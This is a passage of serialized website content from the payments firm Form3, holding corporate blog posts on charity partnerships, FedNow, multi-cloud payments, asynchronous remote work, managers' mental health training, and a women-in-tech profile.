",[],"rich_text$50f345f1-6686-4930-bc15-f5e2b7bf2bca",{"variation":437,"version":438,"items":18420,"primary":18421,"id":18432,"slice_type":468,"slice_label":5},[],{"body":18422},[18423,18426,18429],{"type":988,"text":18424,"spans":18425,"direction":445},"How did we find our social partnerships?",[],{"type":25,"text":18427,"spans":18428,"direction":445},"We’re delighted to share with you some details of the great organisations we’ve come to work with!  ",[],{"type":25,"text":18430,"spans":18431,"direction":445},"The amazing partner organisations we’re working with are ReDi School, with a presence in Germany, Denmark and Sweden, and Stemettes, an organisation with a presence in the UK and Ireland. Both partners offer a lot of ways for all of us to get involved regardless of the languages we speak and regardless of how well we code (or not!).",[],"rich_text$7e719e89-2c15-4e90-bedc-154bc3c600af",{"variation":437,"version":438,"items":18434,"primary":18435,"id":18446,"slice_type":468,"slice_label":5},[],{"body":18436},[18437,18440,18443],{"type":988,"text":18438,"spans":18439,"direction":445},"Our social partnerships",[],{"type":25,"text":18441,"spans":18442,"direction":445},"ReDi School is a non-profit tech school for locals and newcomers without access to digital education. They were set up in 2016 after they noticed that refugees in Germany had tech experience from their home countries but don’t have the resources to make use of them in the European job market. The goal of the school is to give minorities an opportunity to develop their coding and tech skills and enter the tech workspace. They do this by offering the students high quality coding and basic computer courses in combination with a unique career program, such as HR summits. ",[],{"type":25,"text":18444,"spans":18445,"direction":445},"Stemettes is an award-winning social enterprise which works across the UK and Ireland. Their goal is to inspire and support young women and young nonbinary people into Science, Technology, Engineering and Maths careers (known collectively as STEM). The focus here is organising coding events for young girls and women with hopes to encourage girls to go into the tech industry by teaching them from a young age about how fun technology, science and maths can be. With this they are hoping to make the tech space more diverse and empower girls to dominate it! ",[],"rich_text$b6668fc1-14dc-4e4f-8fb1-0d62a7584660",{"variation":437,"version":438,"items":18448,"primary":18449,"id":18475,"slice_type":468,"slice_label":5},[],{"body":18450},[18451,18454,18457,18460,18463,18466,18469,18472],{"type":746,"text":18452,"spans":18453},"Impacts and outcomes",[],{"type":25,"text":18455,"spans":18456},"Since starting this project, we have been able to get involved in multiple different ways. ",[],{"type":25,"text":18458,"spans":18459},"In August and September 2021, our teams volunteered in a series of CV and mock interview workshops with Stemettes. This was an opportunity for young women interested in STEM to gain one to one support from our volunteers with their CVs and develop their confidence in their interview abilities.",[],{"type":25,"text":18461,"spans":18462},"In October 2021 we hosted a Form3 takeover day in the Stemettes half-term program, which over 20 employees signed up for. Our wonderful colleagues joined interactive talks, Instagram live sessions and discussion panels., all with the aim of encouraging women and people from underrepresented groups to consider careers in technology.",[],{"type":25,"text":18464,"spans":18465},"During January and February 2022, our team have been a part of a Stemettes initiative to deliver coding workshops to primary schools across the UK.",[],{"type":25,"text":18467,"spans":18468},"Additionally, we have implemented a system of donations based on referrals and volunteering sign ups. Employees in all areas of the business at Form3 can get involved to support students with their career planning, review CVs and helping prepare for interviews! Form3 donates 25€ per sign up. Both our partners also look for volunteers to teach coding lessons, and Form3 also donates 25€ per sign up. Moreover, Form3 also donates 25€ to our social partners for each candidate referred who passes our initial Talent Team screening call.",[],{"type":25,"text":18470,"spans":18471},"In Q3 of 2021, we raised 1,300 € in volunteering signups and 275 € in referrals. In Q4 of 2021, we raised 2,20 € in volunteering signups and 400 € in referrals. We also made an ad hoc donation of 2,550 €! ",[],{"type":25,"text":18473,"spans":18474},"We’re honoured to be able to support these wonderful organisations, and hope you’ll take some time to research the wonderful work they do. There’s a lot more work to be done!",[],"rich_text$a494669d-dc68-4e73-bc33-d02e86dc96db",{"id":18477,"uid":18478,"type":3743,"data":18479},"alz0AREAACsAUWTP","industry-advice-what-us-banks-need-to-know-about",{"title":18480,"excerpt":18481,"card_image":18482,"published_date":15738,"reading_time":2375,"tag":5813,"dek":18481,"featured_image":18487,"about_form3":18488,"client_about_heading":5,"client_about_body":18489,"author_name":5,"author_title":5,"author_photo":18490,"author_bio":18491,"author_linkedin":18492,"slices":18493,"meta_title":18480,"meta_description":18481},"Industry Advice: What U.S. Banks Need to Know About FedNow","Bringing the U.S. payments industry into line with that of other advanced economies such as the United Kingdom and Europe has been a priority for the Federal Reserve. When it launches, FedNow will open up a nationwide real-time payment network available to all the banks that are currently members of the Fed. It will likely be the biggest change to the payments environment since the introduction of the automated clearing house (ACH) network in 1974.",{"dimensions":18483,"alt":18480,"copyright":5,"url":18484,"id":18485,"edit":18486},{"width":412,"height":412},"\u002F_prismic-media\u002F033ee2888b273062-3s_pm0lr3nz9Ch9J_industry-advice-what-us-banks-n.png","3s_pm0lr3nz9Ch9J",{"x":398,"y":398,"zoom":399,"background":400},{},[],[],{},[],{"link_type":434},[18494,18522,18537],{"variation":437,"version":438,"items":18495,"primary":18496,"id":18521,"slice_type":468,"slice_label":5},[],{"body":18497},[18498,18501,18504,18507,18510,18515],{"type":988,"text":18499,"spans":18500,"direction":445},"Adoption Questions",[],{"type":25,"text":18502,"spans":18503,"direction":445},"FedNow is due to go live at some stage in 2023. The launch will happen in several phases. However, there are still some questions regarding how quickly FedNow is likely to be adopted.",[],{"type":25,"text":18505,"spans":18506,"direction":445},"The Clearing House's RTP service launched in 2017 and saw support grow slowly but steadily, so it may be some time before we see FedNow being widely adopted in the U.S. Ultimately, though, consumer demand will be the major driving factor. ",[],{"type":25,"text":18508,"spans":18509,"direction":445},"The Federal Reserve is not requiring its members to commit to FedNow just yet. Many banks are likely to make their strategic decisions based on what they perceive to be likely consumer demand. ",[],{"type":25,"text":18511,"spans":18512,"direction":445},"Consumers have become used to having everything they want, right now. Goods can be delivered to their door in minutes. Digital services and information can be accessed instantly. It’s only natural that consumers should want to have the payment services they use brought into line with these principles. ",[18513],{"start":15352,"end":18514,"type":593},182,{"type":25,"text":18516,"spans":18517,"direction":445},"They shouldn’t have to wait for payments to clear when the goods and services purchased are available instantaneously. That’s a dislocated experience. So the demand for real-time settlement is certainly there, and banks that adopt FedNow will dramatically improve the payment experience for their customers. ",[18518,18519],{"start":2707,"end":1951,"type":593},{"start":18520,"end":4586,"type":593},123,"rich_text$bd43cc4a-1a02-4947-bf59-ae04a81dc8a9",{"variation":437,"version":438,"items":18523,"primary":18524,"id":18536,"slice_type":468,"slice_label":5},[],{"body":18525},[18526,18529,18532],{"type":988,"text":18527,"spans":18528,"direction":445},"Getting Ready",[],{"type":25,"text":18530,"spans":18531,"direction":445},"Banks that are planning to join FedNow will be at varying stages of readiness. One of the key areas of concern will be the integration of real-time capabilities into existing infrastructure. Many banks will need to modernize and digitalize their approach to connect to FedNow. ",[],{"type":25,"text":18533,"spans":18534,"direction":445},"They’ll need to look at using API-based platforms for ensuring the real-time exchange of information. This will enable them to embed the payment experience into other channels so it flows along with what the customer is doing. Infrastructure must be reliable and secure,​ with high levels of resilience and zero downtime to ensure a true 24\u002F7 service.",[18535],{"start":4603,"end":643,"type":593},"rich_text$0dfe9186-e508-4307-bf23-bdc359f527e9",{"variation":437,"version":438,"items":18538,"primary":18539,"id":18547,"slice_type":468,"slice_label":5},[],{"body":18540},[18541,18544],{"type":988,"text":18542,"spans":18543,"direction":445},"In summary, wait-and-see is the wrong approach to FedNow",[],{"type":25,"text":18545,"spans":18546,"direction":445},"Banks should be aware that the approach they take to implementing FedNow needs to be streamlined and cost-effective. In a challenging economy, internal resources are likely to be stretched, and there may be a temptation to play the waiting game. But the cost of doing nothing will be considerable. ",[],"rich_text$073d12c9-436a-480a-8bb6-4540f0233821",{"id":18549,"uid":18550,"type":3743,"data":18551},"alzz2BEAACwAUWRv","industry-intelligence-why-multi-cloud-is-the-future",{"title":18552,"excerpt":18553,"card_image":18554,"published_date":12070,"reading_time":506,"tag":5813,"dek":18553,"featured_image":18560,"about_form3":18561,"client_about_heading":5,"client_about_body":18562,"author_name":11351,"author_title":11352,"author_photo":18563,"author_bio":18566,"author_linkedin":18577,"slices":18579,"meta_title":18556,"meta_description":18553},"Industry Intelligence: Why multi-cloud is the future of payments","The payments space has evolved so rapidly in recent years that it has become cliché to ask what ‘the future for payments’ looks like. Now, I don’t have a crystal ball, but I’ve worked in transactional banking for a quarter of a century. From my perspective, there are several key trends that are going to drive future change in payments and migration to the cloud is perhaps the most central amongst them.",{"dimensions":18555,"alt":18556,"copyright":5,"url":18557,"id":18558,"edit":18559},{"width":412,"height":412},"Industry intelligence: Why multi-cloud is the future of payments","\u002F_prismic-media\u002Fafdb50c3e58a1bd4-XhigvGvpwb-fxkWa_industry-intelligence-why-multi.png","XhigvGvpwb-fxkWa",{"x":398,"y":398,"zoom":399,"background":400},{},[],[],{"dimensions":18564,"alt":11453,"copyright":5,"url":11357,"id":11358,"edit":18565},{"width":11355,"height":11356},{"x":398,"y":398,"zoom":399,"background":400},[18567,18569,18571,18573,18575],{"type":25,"text":11362,"spans":18568,"direction":445},[],{"type":25,"text":11365,"spans":18570,"direction":445},[],{"type":25,"text":11368,"spans":18572,"direction":445},[],{"type":25,"text":11371,"spans":18574,"direction":445},[],{"type":25,"text":11374,"spans":18576,"direction":445},[],{"link_type":491,"key":18578,"url":11378,"target":493},"fd8c03c1-a5b5-46d7-9596-aa8965feacaa",[18580,18597,18611],{"variation":437,"version":438,"items":18581,"primary":18582,"id":18596,"slice_type":468,"slice_label":5},[],{"body":18583},[18584,18587,18590,18593],{"type":988,"text":18585,"spans":18586,"direction":445},"Shifting to the cloud",[],{"type":25,"text":18588,"spans":18589,"direction":445},"While many financial institutions operate their payment gateways on premises, there are definite advantages to using cloud-based technology here. With the increasing number of transactions being made, the scalability of cloud services means that the system can deal with any peaks and troughs. ",[],{"type":25,"text":18591,"spans":18592,"direction":445},"However, much of the debate around cloud migration for banks was whether it was best to take a public or private approach. The former gives the bank complete ownership of their cloud but comes with a great deal of expense, while the latter offers virtually infinite scale but means the bank is at the mercy of the cloud provider to some degree.",[],{"type":25,"text":18594,"spans":18595,"direction":445},"My view is that while this debate is valid, it misses the point somewhat. The achilles heel of a single cloud approach—whether the bank owns that cloud or not—is that there’s a single point of failure. ",[],"rich_text$dbc84f17-bb94-4b88-af10-aa114fb3e927",{"variation":437,"version":438,"items":18598,"primary":18599,"id":18610,"slice_type":468,"slice_label":5},[],{"body":18600},[18601,18604,18607],{"type":988,"text":18602,"spans":18603,"direction":445},"Multi-cloud offers ultimate resiliency",[],{"type":25,"text":18605,"spans":18606,"direction":445},"For payments, the best way forward is the multi-cloud approach. Rather than migrating to the cloud and choosing between Amazon, Google or Microsoft, you choose all three. This means if one of these three has an outage, then you can redirect activity and data to another one. It’s basically the ultimate resiliency play. Don’t rely on a single provider, spread the risk across multiple providers instead.",[],{"type":25,"text":18608,"spans":18609,"direction":445},"Multi-cloud will pay dividends in a number of ways. The growing demand for real-time settlement and the increased volume of payments being made require robust, flexible infrastructure; the kind that a multi-cloud approach can provide. Due to the interconnected nature of the global economy, the volume of international payments has picked up a lot in recent years. These cross-border payments are happening not just for large trade items, but also for smaller exchanges of services. Using multiple clouds is a solid basis for providing the support required for the increased number of cross-border payments being made.",[],"rich_text$310f2d9b-467c-4f63-891d-37aadb798808",{"variation":437,"version":438,"items":18612,"primary":18613,"id":18624,"slice_type":468,"slice_label":5},[],{"body":18614},[18615,18618,18621],{"type":988,"text":18616,"spans":18617,"direction":445},"Payment gateways belong in the cloud",[],{"type":25,"text":18619,"spans":18620,"direction":445},"Operating a payment gateway on premises is very expensive. There are the facility costs and hardware to consider, and an awful lot of connections to make depending on which territories you deal with. Standards change all the time, so maintaining all of these connections, applying all of the security patches and so on is a considerable drain on resources. Think about all the work involved in supporting Swift's migration to ISO 20022 or connecting to the forthcoming FedNow platform—it's a real headache.",[],{"type":25,"text":18622,"spans":18623,"direction":445},"By moving the payment gateway to the cloud, facility and hardware costs are taken out of the equation, and management and maintenance also becomes a lot easier too. Of course, cloud migrations have to be handled carefully. It will also provide a steady foundation for the continuing evolution of payment services in the future.",[],"rich_text$b2d46ea5-3bc5-407e-8337-edffdb41f7da",{"id":18626,"uid":18627,"type":3743,"data":18628},"alz0KhEAAC4AUWUx","asynchronous-communication-at-form3",{"title":18629,"excerpt":18630,"card_image":18631,"published_date":18636,"reading_time":1633,"tag":3751,"dek":18630,"featured_image":18637,"about_form3":18638,"client_about_heading":5,"client_about_body":18639,"author_name":5,"author_title":5,"author_photo":18640,"author_bio":18641,"author_linkedin":18642,"slices":18643,"meta_title":18629,"meta_description":18630},"Asynchronous communication at Form3","Jan Akerman, Lead Engineer for Form3's Tooling Team, talks to us about his experience of asynchronous communication at Form3 and the benefits for remote teams.",{"dimensions":18632,"alt":18629,"copyright":5,"url":18633,"id":18634,"edit":18635},{"width":412,"height":412},"\u002F_prismic-media\u002F469d0cfc1bbb81c1-crGwl2_6JKPFFzT0_asynchronous-communication-at-f.jpg","crGwl2_6JKPFFzT0",{"x":398,"y":398,"zoom":399,"background":650},"2022-03-01",{},[],[],{},[],{"link_type":434},[18644,18663,18683,18700,18714],{"variation":437,"version":438,"items":18645,"primary":18646,"id":18662,"slice_type":468,"slice_label":5},[],{"body":18647},[18648,18651,18659],{"type":988,"text":18649,"spans":18650,"direction":445},"Setting the scene",[],{"type":25,"text":18652,"spans":18653,"direction":445},"With Form3’s Engineering Teams being 100% remote, synchronous communication usually takes the form of video calls. We spend a lot of time on calls with our fellow engineers. Fortunately, most of that time is spent collaborating, focused on solving problems with the help of techniques like pair programming. Asynchronous communication typically takes place over Slack, our main messaging tool, and GitHub in the form of discussions on issues that define problem statements and requirements.  ",[18654,18655],{"start":4586,"end":10956,"type":765},{"start":1986,"end":18656,"type":489,"data":18657},306,{"link_type":491,"url":18658,"target":493},"https:\u002F\u002Fwww.form3.tech\u002Fblog\u002Futilising-pair-programming-in-a-100-remote-environment",{"type":25,"text":18660,"spans":18661,"direction":445}," At Form3 we work across time zones ranging from Eastern Europe to the Americas so the time we have for synchronous communication is naturally limited. Throw in our flexible working and emphasis on not working unsociable hours (rightly so!) and things get even more difficult. I'd like to share a little about how we work together at Form3, and some of the various adaptations that I’ve seen within my current team. ",[],"rich_text$538c15eb-e4f8-4b40-bec2-94cfefac7da0",{"variation":437,"version":438,"items":18664,"primary":18665,"id":18682,"slice_type":468,"slice_label":5},[],{"body":18666},[18667,18670,18673,18676,18679],{"type":988,"text":18668,"spans":18669,"direction":445},"Benefits of asynchronous communication",[],{"type":25,"text":18671,"spans":18672,"direction":445},"With the recent addition of Canada based engineers to our predominately Europe based teams, some team members only have only two hours overlap in their standard working day. It’s important to us all that this time can be used to collaborate as effectively as possible without one party having to compromising their work life balance. ",[],{"type":25,"text":18674,"spans":18675,"direction":445},"Asynchronous communications are generally more inclusive. They allow everyone involved to consume and engage on topics on their own time. This gives team members more autonomy over their own work schedule, which in turn better supports work life balance and those who need flexible working hours. ",[],{"type":25,"text":18677,"spans":18678,"direction":445},"A key factor in the success of asynchronous communication is a culture that fosters the importance of writing things down and a culture of strong ownership. As a team, we put a lot of focus on writing clear problem statements, documenting our research, findings and decisions in a way that can be easily consumed by our colleagues. There are many great examples of this but one practice that has become a de facto Engineering wide standard is the usage of Architecture Decision Records [https:\u002F\u002Fadr.github.io\u002F] (ADRs). ",[],{"type":25,"text":18680,"spans":18681,"direction":445},"The result of this focus is that Engineers can use their naturally occurring downtime to asynchronously engage in discussions and our natural curiosity means that we’re all up to date with work we’re not actively involved in. ",[],"rich_text$6ff2521e-5d54-424d-bef0-e3d770c0a564",{"variation":437,"version":438,"items":18684,"primary":18685,"id":18699,"slice_type":468,"slice_label":5},[],{"body":18686},[18687,18690,18693,18696],{"type":988,"text":18688,"spans":18689,"direction":445},"Structuring our thoughts",[],{"type":25,"text":18691,"spans":18692,"direction":445},"Transitioning from synchronous to asynchronous communications at the right time can result in much more valuable contributions. In the Tooling Team, we’ve found that identifying a clear boundary between the problem and the solution is key to our team. ",[],{"type":25,"text":18694,"spans":18695,"direction":445},"During team discussions we try to focus on identifying the problem. Once we’ve found consensus on underlying issue, we ask someone to write it down. Anyone is then free to work on a proposal on their own schedule. Naturally the more concrete a solution, and the more consensus we have, the more likely it’ll get picked up. This allows Engineers to have the agency to progress problems they are passionate about.  ",[],{"type":25,"text":18697,"spans":18698,"direction":445},"As raw ideas are hard to communicate and hard to digest, by taking a step back and separating the problem from the solution, we end up with much more valuable contributions. ",[],"rich_text$8ba79c76-2140-44f2-a2c7-155e5305a120",{"variation":437,"version":438,"items":18701,"primary":18702,"id":18713,"slice_type":468,"slice_label":5},[],{"body":18703},[18704,18707,18710],{"type":988,"text":18705,"spans":18706,"direction":445},"Sharing far and wide",[],{"type":25,"text":18708,"spans":18709,"direction":445},"It’s always hard to know who has valuable input on a given topic. With synchronous communications you must decide up front who contributes and who doesn’t. Invitees generally feel obliged to join meetings when they’ve been invited, regardless as to whether they want to contribute. The result is ultimately lower quality collaboration. ",[],{"type":25,"text":18711,"spans":18712,"direction":445}," In contrast, async communications can be shared far and wide. This can engage a larger audience than would be possible with a video call. The Tooling Team’s role is to tackle cross cutting concerns that impact engineering productivity, so we often want feedback from other Engineers. To support that, we’ve developed special interest groups that centre around instant messaging channels, for example, #sig-deployments and #sig-observability. These are our go-to places to share key announcements and proposals, allowing us to cast a wide net for feedback. ",[],"rich_text$c51bae05-b506-4c50-bc10-70f892dcc02b",{"variation":437,"version":438,"items":18715,"primary":18716,"id":18734,"slice_type":468,"slice_label":5},[],{"body":18717},[18718,18721,18724,18727,18730],{"type":988,"text":18719,"spans":18720,"direction":445},"More quality time together",[],{"type":25,"text":18722,"spans":18723,"direction":445},"We’ve spoken about some of the challenges that synchronous communications pose, but that’s not to say we throw synchronous communications out of the window – far from it in fact. We meet once a week as a team to share an overview of each workstream, meet daily for an optional team coffee and a demo on a variety of topics. We also have a timeboxed slot for miscellaneous team discussions and retrospectives that allows us to improve our team processes. As a result, the overwhelming majority of an Engineer’s time is self-managed, usually spent closely with their peers progressing towards a common objective. \nEvery day each team members post a daily update on an instant messaging thread, with a short description, and links to further reading. Eventually, this completely replaced our traditional daily stand-up format. It allowed us to focus on more important discussions as a team and over time we’ve managed to make these meetings feel valuable to us. We haven’t stopped there and we’re still experimenting with ways to get more out of less time. For example, we’re now trying to streamline our retrospectives by sharing discussion points and voting on topics prior to our call. ",[],{"type":25,"text":18725,"spans":18726,"direction":445},"By replacing large team meetings with async communications supported by small, focused meetings, we’ve found more time for the aspects of the job that we find fulfilling. What generally pulls people to Form3 is the prospect of collaborating on complex technical challenges with talented peers. It’s important for both morale and productivity that we get that. ",[],{"type":25,"text":18728,"spans":18729,"direction":445},"All of this means that on most days, even engineers at our most distant time zones have a solid pairing session before one engineer ends their workday. With our focus on asynchronous communications, it means that they can seamlessly pick up again the next day where their pair left off. Or at least that’s what we’re constantly striving towards! ",[],{"type":25,"text":18731,"spans":18732,"direction":445},"This article is written from the perspective of Jan Akerman, an Engineer on our Tooling Team. Due to the autonomy of team’s at Form3 experiences can vary, but the underlying values remain the same. ",[18733],{"start":398,"end":3304,"type":765},"rich_text$eedd4e4a-d76b-4296-ba86-efd830bd2e52",{"id":18736,"uid":18737,"type":3743,"data":18738},"alzzyBEAACcAUWRK","on-mental-health-as-a-manager",{"title":18739,"excerpt":18740,"card_image":18741,"published_date":18747,"reading_time":4603,"tag":3751,"dek":18748,"featured_image":18749,"about_form3":18750,"client_about_heading":5,"client_about_body":18751,"author_name":5,"author_title":5,"author_photo":18752,"author_bio":18753,"author_linkedin":18754,"slices":18755,"meta_title":18739,"meta_description":18807},"On Mental Health as a Manager","When I took my first steps into management, my biggest fear was not being able to help my team with the mental wellbeing issues which plague the engineering world: stress, anxiety, and burnout. While it’s important to remember that a manager is not solely responsible for the mental wellbeing of their team, you cannot avoid the fact that managers often have the most insight into an individual’s life.",{"dimensions":18742,"alt":18743,"copyright":5,"url":18744,"id":18745,"edit":18746},{"width":412,"height":412},"mental health as a manager","\u002F_prismic-media\u002Febe2b73064cf3bd3-kFBKDm4wbiOUBxvQ_on-mental-health-as-a-manager.p","kFBKDm4wbiOUBxvQ",{"x":398,"y":398,"zoom":399,"background":400},"2022-10-24","I’m in the very privileged position of having a work environment which fosters personal growth. A generous budget combined with paid learning days provides opportunities which would otherwise be impossible. So, given I stepped into a management position 18 months ago, these resources should clearly be dedicated to management courses - right? Project management, promoting synergy, reading social cues to manipulate your team into productivity. These are the skills you need to thrive as a manager by corporate standards, and we work with really big banks so it’s a no brainer.Don’t worry, what you’re currently thinking is correct: that’s complete nonsense.Yes, we have to care about timelines, deadlines, capacity, velocity, and everything else which keeps a project moving forward. I know this is a bit of a hot take in the management world but messing those things up is low-risk. You missed the deadline, the customer is angry... so what? It’s not the end of the world; the sun is still going to rise tomorrow. But then what should we be focusing on as managers? In my opinion this is quite obvious: as managers of people, we should be focusing on people skills rather than management skills. Let me capture a little bit of that journey - hopefully it inspires you to do the same.",{},[],[],{},[],{"link_type":434},[18756,18776,18796],{"variation":437,"version":438,"items":18757,"primary":18758,"id":18775,"slice_type":468,"slice_label":5},[],{"body":18759},[18760,18763,18769,18772],{"type":988,"text":18761,"spans":18762,"direction":445},"Mental Health First Aid",[],{"type":25,"text":18764,"spans":18765,"direction":445},"When I took my first steps into management, my biggest fear was not being able to help my team with the mental wellbeing issues which plague the engineering world: stress, anxiety, and burnout. While it’s important to remember that a manager is not solely responsible for the mental wellbeing of their team, you cannot avoid the fact that managers often have the most insight into an individual’s life. You are, through one-to-ones and daily interactions, perfectly positioned to notice the warning signs of poor mental wellbeing. In addition to that, you are likely to be the first port of call for any employee who needs to voice their problems (be those personal or professional).",[18766],{"start":18767,"end":18768,"type":765},245,248,{"type":25,"text":18770,"spans":18771,"direction":445},"Are you ready to handle those situations? I wasn’t.",[],{"type":25,"text":18773,"spans":18774,"direction":445},"My first goal was to give myself the skillset required to deal with a team member in crisis. Your team looks to you not for micromanagement and deadlines, but for guidance and support. Technical guidance is easy, translating product requirements takes time, but providing emotional support requires care. When someone is in crisis you need to handle the situation correctly; a misplaced comment or a bad assumption can turn an individual’s situation from bad to worse. Becoming a certified Mental Health First Aider (MHFA), if nothing else, gives you concrete evidence that you have this skillset.",[],"rich_text$e164af21-bffd-450b-917a-de769bdec0e7",{"variation":437,"version":438,"items":18777,"primary":18778,"id":18795,"slice_type":468,"slice_label":5},[],{"body":18779},[18780,18783,18786,18789,18792],{"type":988,"text":18781,"spans":18782,"direction":445},"Understanding Mental Health",[],{"type":25,"text":18784,"spans":18785,"direction":445},"So you’re a people manager with an MHFA qualification. You can help to triage a team member’s emotional crisis. That’s fantastic, but there’s no ignoring the fact that this individual fell into crisis in your charge. Please don’t get me wrong; by no means am I suggesting that you can protect your team members from poor mental health in all cases. However, it goes without saying that it is your responsibility as their leader to safeguard them from the professional factors which can contribute to a crisis.",[],{"type":25,"text":18787,"spans":18788,"direction":445},"The next step for me was to build a deeper understanding of how the human mind works. This ranged from the factors which affect wellbeing to the long-term treatment of diagnosed mental health conditions. Unfortunately, this is not something you can learn from a two-day workshop. The only option is real study.",[],{"type":25,"text":18790,"spans":18791,"direction":445},"I set myself the goal of achieving a college certificate related to mental health, and the course I settled on was Understanding Mental Health (Level 3). This provided a strong foundation of mental wellbeing awareness, an overview of the most prevalent mental health conditions in today’s society, and a deep dive into the support systems, treatment plans, and interventions which exist to combat these conditions.",[],{"type":25,"text":18793,"spans":18794,"direction":445},"The outcome? I now feel confident that I can identify the early warning signs of poor mental wellbeing - and that I can empathise with an individual who is undergoing treatment for such a condition.",[],"rich_text$d0e2370c-bccb-4eba-8b47-0fcf89b72975",{"variation":437,"version":438,"items":18797,"primary":18798,"id":18806,"slice_type":468,"slice_label":5},[],{"body":18799},[18800,18803],{"type":988,"text":18801,"spans":18802,"direction":445},"What’s next?",[],{"type":25,"text":18804,"spans":18805,"direction":445},"Unfortunately, I don’t yet know my next step on this learning journey. The only way to really solidify all of this knowledge is to apply it in the real world, and of course I hope that this never happens. Perhaps you have a good suggestion for me here? I would love to hear your thoughts on what forms of personal growth have worked well for you as a people manager - so please reach out!",[],"rich_text$b171adae-7918-452d-8093-30cf125d8dc6","When I took my first steps into management, my biggest fear was not being able to help my team with the mental wellbeing issues which plague the engineering world: stress, anxiety, and burnout.",{"id":18809,"uid":18810,"type":3743,"data":18811},"alz0JxEAACoAUWUp","international-womens-day-spotlight-the-life-of-a-technology-evangelist",{"title":18812,"excerpt":18813,"card_image":18814,"published_date":15975,"reading_time":643,"tag":3751,"dek":18813,"featured_image":18819,"about_form3":18820,"client_about_heading":5,"client_about_body":18821,"author_name":5,"author_title":5,"author_photo":18822,"author_bio":18823,"author_linkedin":18824,"slices":18825,"meta_title":18812,"meta_description":18813},"International Women’s Day Spotlight: the life of a Technology Evangelist","In her blog for International Women’s Day, Form3 Technology Evangelist Adelina Simion discusses her career path, her role at Form3, and shares career advice for women in tech.",{"dimensions":18815,"alt":18812,"copyright":5,"url":18816,"id":18817,"edit":18818},{"width":412,"height":412},"\u002F_prismic-media\u002Ff5cdfa5f994adfa6-KTsiAcCd3HpG1_6h_international-womens-day-spotli.png","KTsiAcCd3HpG1_6h",{"x":398,"y":398,"zoom":399,"background":400},{},[],[],{},[],{"link_type":434},[18826,18837,18871,18921,18942,18963],{"variation":437,"version":438,"items":18827,"primary":18828,"id":18836,"slice_type":468,"slice_label":5},[],{"body":18829},[18830,18833],{"type":25,"text":18831,"spans":18832},"Hello, everyone! My name is Adelina Simion and I'm really excited to share a little bit about myself on International Women's Day. There are so many inspirational women and leaders, so I am very grateful to be able to contribute to the voice of women in tech through this blogpost\u002Fpiece.",[],{"type":25,"text":18834,"spans":18835},"I am a Gopher (which is what the Go community call themselves) and Tech Evangelist at Form3 in London, UK. This is my first role in the field of Developer Relations (DevRel) and I'm having a blast exploring it and learning. ",[],"rich_text$6280ef61-e9b0-449f-9d63-e72a1209b05d",{"variation":437,"version":438,"items":18838,"primary":18839,"id":18870,"slice_type":468,"slice_label":5},[],{"body":18840},[18841,18844,18847,18861,18864],{"type":988,"text":18842,"spans":18843,"direction":445},"Career path",[],{"type":25,"text":18845,"spans":18846,"direction":445},"I have a traditional technical background. I have a BEng. Information & Communication Technology and an MSc. Mathematical Modelling and Computing from the Technical University of Denmark. I graduated at the end of 2013 and moved to London shortly after in the spring of 2014. I consider London my home and don't think I'll be leaving any time soon.",[],{"type":25,"text":18848,"spans":18849,"direction":445},"I worked as a Java Backend Engineer for the first 4 years of my career, then converted to Go in 2018. I really enjoy being part of the Go community and helping others learn Go as well. As part of this journey, I started speaking at conferences and writing on my personal blog to share my knowledge, as well as challenge myself and build up my self esteem. I spoke about serverless at GopherCon Europe and NATS at GopherCon UK in 2021.",[18850,18854,18858],{"start":7596,"end":18851,"type":489,"data":18852},275,{"link_type":491,"url":18853,"target":493},"https:\u002F\u002Fadelinasimion.dev\u002Fblog\u002F",{"start":18855,"end":6789,"type":489,"data":18856},370,{"link_type":491,"url":18857,"target":493},"https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=FJL7RXAIJzk",{"start":3368,"end":1411,"type":489,"data":18859},{"link_type":491,"url":18860,"target":493},"https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=AhnL5addsVo",{"type":25,"text":18862,"spans":18863,"direction":445},"My conference speaking and blogging paved the way to looking into a career in Developer Relations and I was fortunate to get the opportunity to join Form3 as a Technology Evangelist in September 2021. I'm grateful to Form3 for giving me the opportunity to explore this new role that I had no previous experience in. I've learned a lot in the relatively short 6 months since I've joined. ",[],{"type":25,"text":18865,"spans":18866,"direction":445},"Outside of work, I am a LinkedIn Learning instructor. My first course “Applied Concurrency in Go” was released in January 2022, and I am working on one more about my lessons learned converting from Java to Go as we speak!",[18867],{"start":847,"end":4084,"type":489,"data":18868},{"link_type":491,"url":18869,"target":493},"https:\u002F\u002Fwww.linkedin.com\u002Flearning\u002Finstructors\u002Fadelina-simion","rich_text$5c2f107c-4392-4b85-85e3-6c29ea8dd9b3",{"variation":437,"version":438,"items":18872,"primary":18873,"id":18920,"slice_type":468,"slice_label":5},[],{"body":18874},[18875,18878,18881,18884,18887,18890,18893,18896,18899,18905,18908,18911,18917],{"type":988,"text":18876,"spans":18877,"direction":445},"The life of a Technology Evangelist",[],{"type":25,"text":18879,"spans":18880,"direction":445},"I was the first DevRel hire at Form3. My role is all about telling our engineering stories to the tech community and making others aware of the Form3 brand and all the interesting technologies and challenges we work on. ",[],{"type":25,"text":18882,"spans":18883,"direction":445},"My role requires a lot of interdepartmental collaboration:",[],{"type":1151,"text":18885,"spans":18886,"direction":445},"I work very closely with the engineering and marketing departments. ",[],{"type":1151,"text":18888,"spans":18889,"direction":445},"I have weekly 1-1s with our CMO, CTO and our Head of Engineering. So, even though I'm a team of one, I receive support from the heads of departments on a regular basis. I use these 1-1s to run them through any of my ideas, issues that I run into and questions that I might have.",[],{"type":1151,"text":18891,"spans":18892,"direction":445},"There are quite a few engineers at Form3, who are keen to be speakers and get involved with our events and external initiatives. I work and discuss ideas with them as well, and plan to co-speak with them in the future.",[],{"type":25,"text":18894,"spans":18895,"direction":445},"The work of a Tech Evangelist is cyclical and varies quite a lot throughout the year. Conference season happens in May-June and in September-October, so these periods are particularly busy for me. This makes it an exciting, but at times stressful role.",[],{"type":25,"text":18897,"spans":18898,"direction":445},"Overall, I find that my role involves balancing multiple priorities at the same time:",[],{"type":1151,"text":18900,"spans":18901,"direction":445},"Producing written content for our engineering blog",[18902],{"start":1131,"end":2971,"type":489,"data":18903},{"link_type":491,"url":18904,"target":493},"https:\u002F\u002Fengineering.form3.tech\u002F",{"type":1151,"text":18906,"spans":18907,"direction":445},"Responding to conference Calls for Papers (CFPs) to make sure that we have a stream of upcoming speaking opportunities ",[],{"type":1151,"text":18909,"spans":18910,"direction":445},"Preparing talks and other tech content for events that we are speaking at",[],{"type":1151,"text":18912,"spans":18913,"direction":445},"Running our engineering Twitter account @Form3Tech and engaging with the tech community online. I 